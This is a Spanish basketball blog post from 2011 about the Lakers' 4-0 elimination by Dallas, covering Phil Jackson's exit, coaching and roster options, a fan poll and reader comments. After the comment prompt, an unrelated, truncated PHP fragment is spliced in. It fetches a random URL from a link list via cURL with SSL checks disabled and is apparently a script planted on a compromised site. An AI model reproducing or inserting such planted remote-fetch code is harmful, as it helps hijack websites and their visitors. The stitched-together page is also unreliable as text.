Reflexiones sobre la bocina #6

10 de May de 2011 por MagicJohnson32

Hágase el fuego redentor. Que rueden cabezas. ¡A los leones! Que no quede ni uno de los perdedores. No dejemos que Phil Jackson se retire, ¡echémoslo! Por viejo, por pasota, por Zen, por engañabobos, por golpear en el pecho a Gasol o por no pegarle lo suficientemente fuerte. Echemos a Kobe Bryant, por chupón, por egocéntrico, por no ganar un anillo él solo, porque su mujer causó la ruptura de Pau con su novia, por tirar demasiado o demasiado poco. Y hablando de Pau… a la calle también, por blando, por no postear, por fallar aquel tiro contra Rusia y no haber jugado el Mundial, por no devolverle el golpe a Phil Jackson, por no pasar de primera ronda con los Grizzlies. Fuera Bynum, por sus continuas lesiones, por cobrar demasiado, por quitarle protagonismo a Gasol, por operarse tarde de la rodilla. Y que se lleve consigo a Odom, por  irregular, por haber jugado el Mundial, por zurdo y por Kardashian. ¿Qué podemos decir del resto de la plantilla, de Artest, Fisher, Blake, Brown, Barnes y compañía…? Ni para la NBDL me sirven. Fuera todos.

lalmd

Ahora imagínese usted que Gasol es Sergio Ramos y la pelota es la Copa del Rey, y podrá hacerse una idea de cómo acabará la cosa.

Entenderá el sufrido lector que hoy, en el sexto episodio de Reflexiones sobre la bocina, uno no esté para bromas (dejaremos el ji ji, ja ja para los anti, que yo sé que estáis ahí), y es que los aficionados de los Lakers vamos a tardar un tiempo en asimilar lo sucedido. El 4-0 ante los Mavs supone mucho más que una contundente bofetada para despertar del sueño del three-peat. Si sólo fuera eso, la eliminación en Playoffs que pone fin a unos años de dominio por parte del equipo angelino, la cosa carecería del componente dramático que, sin embargo, tiene. Porque, definitivamente, no es “sólo” eso.

Todas las circunstancias, las coyunturales y las estructurales, se han aliado de tal manera que irremediablemente hemos de ir más allá del simple “no se puede ganar siempre”. Aunque tal vez deberíamos quedarnos ahí. Quizás convendría que nos conformemos con el extraordinario balance que deja el ciclo 2000-2010, en el que los Lakers han sumado cinco anillos y han estado presentes en siete Finales. Deberíamos recordar que el mismo núcleo de jugadores que anteanoche resultaban humillados en Dallas son los que pasarán a la historia como ganadores de dos títulos consecutivos. Y no obviemos el hecho de que esta misma plantilla, con un par de retoques (o incluso sin ellos), seguiría siendo competitiva como pocas.

Pero, como ya hemos mencionado previamente, están las circunstancias. Para empezar, el más que probable retiro de Phil Jackson. Habrá tiempo para ponderar la trayectoria de Jackson, cuestionar sus métodos y valorar su legado, pero lo que es indudable es que su marcha obliga a la franquicia a replantear profundamente el diseño de la plantilla. La cuestión más obvia que surge ahora es la de qué entrenador es el más adecuado para esta nueva etapa, y la vía más sencilla, como siempre, es la continuista; es decir: optar por Brian Shaw. Alumno de Jackson durante las últimas siete temporadas, durante las que ha ejercido como asistente, Shaw cuenta además con el respeto de los líderes del vestuario, Fisher y Kobe, junto a los cuales ganó, todavía como jugador, los anillos del three-peat entre 2000 y 2002.

La cuestión del entrenador se torna más delicada, si cabe, si tenemos en cuenta que la plantilla está confeccionada de forma muy específica para la ejecución del triángulo ofensivo. La apuesta por Shaw permitiría dar una nueva oportunidad al actual bloque y, con las necesarias mejoras que la derrota ante los Mavs ha puesto en evidencia, apurar el ciclo de Kobe Bryant como jugador franquicia y Pau Gasol como número 2. Un entrenador diferente, con un sistema diferente, añadiría incertidumbre y pondría en serias dudas la validez de varios integrantes de la plantilla.

dirkopen

Bynum y Gasol acuerdan que a Dirk Nowitzki, célebre por no meter ni una, conviene flotarle. Sabia decisión.

Así pues, la franquicia ha de optar entre el inmovilismo, dar las riendas a Brian Shaw y tratar de mejorar la plantilla este verano manteniendo el modelo vigente, o bien reclutar a un técnico de prestigio (¿se me permite sugerir a Rick Adelman?), capaz de mantener la competitividad del equipo y moldearlo a su gusto a partir del traspaso de alguna de las piezas importantes -Odom, Bynum o incluso Gasol, cuya jerarquía ha quedado muy tocada tras su actuación en estos Playoffs. Por tanto, tal vez antes de elegir un entrenador, el primer punto que han de resolver Kupchack y los Buss (Jerry y Jim) es: ¿sigue siendo esta plantilla aspirante al anillo?

A la dificultad intrínseca de cualquier reconstrucción se le ha de sumar, en el caso de estos Lakers, el poco potencial de traspaso del que dispone una plantilla demasiado vieja, demasiado cara y con contratos demasiado largos. La lógica parece recomendar, por tanto, un proceso poco traumático, de transición, de modo que no recaiga sobre la franquicia toda la presión en las futuras negociaciones para traspasar jugadores (algo que Kupchack querrá evitar a toda costa tras la experiencia del verano de 2004, cuando la marcha de Shaquille O’Neal era algo inevitable). Y mientras los Kobe, Gasol y compañía tratan de demostrar que aún pueden dar guerra, el GM intentaría pescar al próximo jugador franquicia, uno que ya desde hace meses parece tener nombre y apellido: Dwight Howard.

A estas alturas, transcurridas menos de 48 horas desde que se consumase la eliminación, ya han rebrotado las especulaciones -ni siquiera llegan a rumores- sobre el cómo y el cuándo podrían los Lakers hacerse con los servicios de Howard, quien quedará libre en el verano de 2012. Tal vez los Magic no quieran volver a vivir lo del 96, cuando perdieron a O’Neal sin recibir nada a cambio, y estarán abiertos a negociar. Pero ni resulta prudente fiarlo todo a la carta de 2012, cuando también pueden salir al mercado Deron Williams y Chris Paul, ni una franquicia como los Lakers puede permitirse obviar las carencias de su plantilla de cara a la próxima temporada.

phil

"Es que si alguien me lo hubiese dicho, yo estaría ahora en mi rancho de Montana practicando el triángulo ofensivo con Jennie"

Hace falta de forma imperiosa un base. Farmar en su momento y Steve Blake esta temporada han fracasado como alternativas a Derek Fisher, pero la marcha de Phil Jackson implica un cambio radical en el rol del base, que ya no se limitará al papel residual que le concede el triángulo. Incluso en el caso de que Shaw sea el próximo entrenador, ni Fisher ni Blake deberían ser el base titular de los Lakers 2011-2012. Y puede que sea la carencia más evidente pero si algo ha quedado claro tanto en los títulos de 2009 y 2010 como en la debacle de 2011 es que Fisher acaba siempre, de un modo u otro, más vinculado a las victorias que a las derrotas.

Ya en la regular season, especialmente en el último mes de competición, el equipo acusó una profunda falta de recursos físicos. En toda la plantilla no hay un verdadero atleta, más allá de los prodigiosos muelles de Shannon Brown, y eso se ha traducido en una paupérrima transición defensiva, una de las lacras más importantes de los Lakers frente a los Mavericks. Cada equipo capaz de correr tras rebote defensivo o robo y de generar juego en transición ha supuesto una tortura para las exhaustas piernas de los jugadores angelinos.

En definitiva, antes que a Dwight Howard o a Chris Paul, lo que los Lakers necesitan es rejuvenecerse, rearmar un banquillo que, más allá de Odom, este año ha sido un verdadero agujero y, posiblemente lo más importante, encontrar la manera de recuperar el espíritu que llevó a esta plantilla a lo más alto.

Encuesta para la reflexión

Para completar estas reflexiones monotemáticas, os propongo esta encuesta ideada por la retorcida mente del compañero Hynreck. No os cortéis a la hora de ofrecer respuestas alternativas.

La pregunta es: ¿Qué opinión os merece la eliminación Laker por 4-0 frente a los Mavs?

A) El proyecto es ganador y pese al tropiezo merece la continuidad

B) Me quedaría con Kobe y renovaría al resto

C) Me quedaría con Fisher y renovaría al resto

D) …camada de hijos de… ¬¬

E) El hermano bueno era el otro

F) Phil no se merecía esto

G) No soy amarillo y me encanta verlos perder

H) Con unos retoques, el año que viene se volverá a ganar el anillo

I) ¿Cómo se llamará el hijo que le ha hecho Dirk a Gasol?

J) La pieza clave era Adam Morrison

Comenta

18 comentarios a esta entrada

  1. Chris dice:
    #1

    Si el río suena… habrá que ir a por Howard y así nos aseguramos el relevo de jugador franquicia cuando acabe el ciclo Bryant. Y a partir de ahí a confeccionar, porque seguro que con superman viene algún “mojón” contractual tipo Hedo o Arenas.
    El asunto del base también me parece prioritario, pero creo que mientras Kobe mande no necesitaremos un base amasador de balón, eso sí alguien joven y con piernas, eso sería lo ideal.
    Por último el coach… que tio Phil descanse en Montana, su ciclo terminó. Adelman es un crack me gusta, si no Byron Scott… Sloan sería tremendo (y completamente psicotrópico) pero creo que completamente incompatible con el tufillo glamuroso de LA.
    Y Pau… psicoterapia y a recuperar su sitio en la liga ya sea de amarillo o con otra camiseta.
    Un saludo y felicidades por el trabajo que estais haciendo estos PO

      Citar

  2. Javijaen dice:
    #2

    Bueno, no quiero hacer leña del arbol caido, pero está claro que la respuesta de la encuesta es la J… 😉

      Citar

  3. Jabho dice:
    #3

    Empezando porque la mía es la G ;-), pienso que una H+A es una buena opción siempre y cuando no haya mala relación entre ellos. Si la química no es mala, el proyecto puede volver a ganar.

    Para mi lo peor ha sido la aportación del banco, algo habitual por cierto, pero que este año al no tener a Kobe y Pau a buen nivel no se ha podido ocultar.

    Además Fisher no está para ser base titular de un equipo campeón. Ya sé que los amarillos pensais que da más que quita… yo no veo así.

    Si Howard realmente se pone a tiro será difícil resistirse, pero que alguien se acuerde de dónde viene Dallas por ejemplo…el tropezón es gordo pero este grupo es un equipo campeón y no hay garantías que con grandes reconstrucciones estés más cerca de ganar. Yo apostaría por este grupo con retoques

      Citar

  4. ralage dice:
    #4

    Muy buenas las opciones jejeje , ahora mismo me quedo con la g), pero de cara al año que viene, la h es la que tiene más sentido, con lo que cuesta llegar a hacer un equipo como los lakers, creo que sería una mala idea el traspaso de alguno de sus hombres grandes, tal vez traer a alguien que pueda defender a un base anotador y desde luego no renovar o traspasar a la triple B(Barnes,Brown,Blake) del banquillo.

      Citar

  5. ichigo9999 dice:
    #5

    Yo creo qe se tendria qe formar otro equipo alrededor de Kobe y de Pau.

    Kobe por mucho qe se diga es una super-estrella i no qiero imaginarme unos Lakers post-kobe.

    Pau es un grande i se ve qe lo qe le a pasado es mas sicologico qe otra cosa.

    Un base joven i veloz, Kobe, un alero qe podria seguir siendo Artest, Pau i un pivot rocoso qe no digo qe no podria seguir siendo Bynum, seria el quinteto perfecto, solo le sobran años. El alero i el pivot se necesitan jovenes i atleticos.

    Seguiria con Odom como sexto hombre i con Shannon Brown pero los demas no me gustan ni un pelo

      Citar

  6. KB # 24 dice:
    #6

    Comentario antilaker: Se arrepintió Jerry Buss de traspasar Marc por Pau?? jajajajaja suerte que lleva 2 años de ventaja…

      Citar

  7. M dice:
    #7

    Lo primero de todo, magnífica entrada, llena de humor y reflexiones líucidas, en mi opinión. Enhorabuena. Elijo una opción mía,

    “Vinieron los sarracenos / y nos molieron a palos / que Dios ayuda a los malos / cuando son más que los buenos”.

    Pues eso, una serie de detalles les ha mermado su inmenso potencial y se han encontrado un equipo que ha sido mejor, y contra eso es difícil individualizar responsables, todos lo son, pero no parece posible discernir en que escala. A mí me parece una plantilla buenísima, quizá ya veterana, pero por la que todos los GM de la Liga se pelearían y la cambiarían, si pudiesen.

    Y como seguidor de Utah, estos problemas me resultan envidiables. A veces estas cosas pasan. Lo malo es cuando ni siquiera pasan.

    Reitero mis felicitaciones a la página y al autor del post. Espléndido 🙂

      Citar

  8. M dice:
    #8

    Ah, y Phil no merecía esto…

      Citar

  9. AndiD dice:
    #9

    Genial la entrada!! 😀

    No pienso defender a Gasol porque realmente ha hecho unos playoffs lamentables y debería hacérse mirar la apatía con la que jugó las dos series. Pero de ahí a preguntarle en una rueda de prensa si piensa que él es el único culpable de la derrota…
    – Dallas acabó la serie con un estratosférico 50-104 en triples. Un 50% en triples después de 4 partidos!! Ni Gasoft ni Bynum cojo tienen que salir a defender a la línea de 3.
    – Como bien se comenta por aquí, cualquier equipo que corra el contrataque le hace un roto a LA. Fisher, Kobe y Artest son los que deben bajar a defender antes y está claro que ya no son los más rápidos.
    – Lo de Shannon Brown y Steve Blake es de juzgado de guardia. No recuerdo ni un solo partido en estos playoffs que hayan hecho algo de provecho.
    – Que Kobe aparezca en el mejor quinteto defensivo (9° vez en su carrera) me parece un chiste de mal gusto, después de hacer que C.Paul y el frontcourt de Dallas mejorasen sus números de la regular season.

    Para mi siguen teniendo una de las mejores plantillas de toda la NBA, y si el técnico consigue que todos remen en la misma dirección sigo viéndoles candidatos el año que viene.

    Ah, y Phil no se merecía esto.

      Citar

  10. HeiNeKeN dice:
    #10

    Menudas risas con el primer parrafo de la entrada xDD

    Yo no me considero anti-laker pero quería que perdiesen… aunque más tarde y frente a los Thunder xD

      Citar

  11. sr. Lagarto dice:
    #11

    Claramente la d. Han echado por la borda un anillo. Dallas es un muy buen equipo, pero si LA hubiera jugado a un nivel razonable hubiera ganado la serie.

      Citar

  12. HisRoyalAirness dice:
    #12

    Sigo creyendo que Lakers jugando bien es muy superior a Dallas. Al margen de esto yo haría una serie de cosas:

    1- Kobe es, para mí, el mejor jugador de la liga y sigue a un nivel increíble. Junto con Pau han formado la mejor pareja del año junto a Lebron-Wade y KD-Westbrook. Deben seguir juntos si quieren triunfar, se conocen y, hasta que se demuestre lo contrario, tienen una gran relación.

    2- Fisher: hasta más ver. A Pau y Kobe se les puede perdonar a la larga porque son superestrellas pero no puede ser nunca más base titular de los Lakers. Jamás.

    3- Howard: el rendimiento que puede dar en Lakers está por ver, si lo cambian por Pau me temo que se van a arrepentir durante bastante tiempo. Cambiaría mucho la dinámica del equipo con un gallo tan grande al lado de Kobe.

    4-Odom-Bynum-Artest: me quedaría con Andy y aprovecharía que Odom tiene cartel por lo del sexto hombre y lo traspasaría (por mucho que me pese, porque me encanta). A Artest también intentaría largarlo pero es muy difícil.

    Ala, menudo tocho.

      Citar

  13. HisRoyalAirness dice:
    #13

    PD: casi me meo con el pie de la segunda foto

      Citar

  14. Denise dice:
    #14

    jaja buenisimo el articulo.
    Me quedo con la G, la H y la A.
    Yo creo que dramatizais un poco el tema de Lakers, tienen un plantillón y con un par de retoques y manteniendo buena actitud ganarían otro anillo, siempre y cuando sea falso eso de que el vestuario está roto, que por otra parte creo que es verdad. Y en 2012…Howard.

      Citar

  15. TheDeerHunter dice:
    #15

    @HisRoyalAirness:
    Fisher sería como Horry. Le dejas ir y gana otro anillo en cualquier otro sitio. A algún equipo pujante como Miami le harían palmas las orejas con la posibilidad de tenerle.
    El problema de Fisher no es Fisher. El problema es que año tras año han habido bases que no sólo no han logrado relegarle al banquillo, sino que ni siquiera han logrado menguar su participación en minutos que ha sido claramente excesiva para sus piernas. No le veréis quejarse.
    Blake a priori no era una mala opción para las posibilidades salariales de los Lakers. Me atrevería a decir que era la mejor entonces sin ninguna duda y mirad como ha resultado.
    La otra pata del problema es la importancia que le ha dado Phil Jackson a la posición y lo solo que siempre les ha dejado ante cualquier tormenta. Todo el mundo sabe que la posición es el talón de Aquiles de los sistemas de Jackson y de eso no tiene culpa Fisher. Blake también ha sufrido y os recuerdo que llegó con un gran cartel de defensor.

    Me parece impensable que, tras el título del año pasado y su importancia en él, alguien creyera seriamente que a los Lakers no les interesaba mantenerle en la plantilla. También me parece impensable que se pase de titular a desecho sin término medio. En el peor de los casos podría ser un 2ª unidad cojonudo y de especialista rollo Paxson no os digo nada.
    Para mí, si se encuentra un milagro en el mercado de contratos mínimos perfecto, porque excepciones no hay disponibles. Si hay que traspasar a medio equipo o desbaratar el juego interior para traer a Chris Paul igual no me hace tanta gracia.
    Por mi parte ójala tuvieran los Lakers 3 o 4 tíos más de la profesionalidad y del nivel de Fisher. Blake y Shannon no han demostrado serlo. Mientras no se demuestre lo contrario Fisher sigue siendo la mejor opción.

      Citar

  16. Txusma dice:
    #16

    Yo siempre he criticado que se sobrevaloraba mucho a Fisher y que a lo mejor, al ser titular y jugar tantos minutos quitaba más de lo que aportaba al equipo por mucho tiro en el último segundo que consiguiera. De todas maneras si yo fuera los Lakers, ni se me pasaría por la cabeza desprenderme de él. Evitar que sea titular tal vez sí, pero echarlo? Como dice Deer, en la 2ª unidad y en esos minutos calientes puede aportar muchísimo.
    Y en esta elimanación el que menos culpa creo q ha tenido es Fisher.

      Citar

  17. MagicJohnson32 dice:
    #17

    Mi opinión sobre Fisher la resumo en el artículo: “Y puede que sea la carencia más evidente pero si algo ha quedado claro tanto en los títulos de 2009 y 2010 como en la debacle de 2011 es que Fisher acaba siempre, de un modo u otro, más vinculado a las victorias que a las derrotas.”

    Los Lakers draftearon a Farmar con la esperanza de que creciese hasta poder hacerse con las riendas del equipo, y no pudo. Y este verano se fichó a Blake y desde el primer momento se comentó que, llegado el momento, podría convertirse en el titular. Pero su rendimiento ha sido lamentable. Vamos, que pese a todo, Fisher ha sido el mejor base de los Lakers durante todo este tiempo.

      Citar

  18. MagicJohnson32 dice:
    #18

    Y mi sugerencia puede hacerse realidad: http://sports.espn.go.com/los-angeles/nba/news/story?id=6534904

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>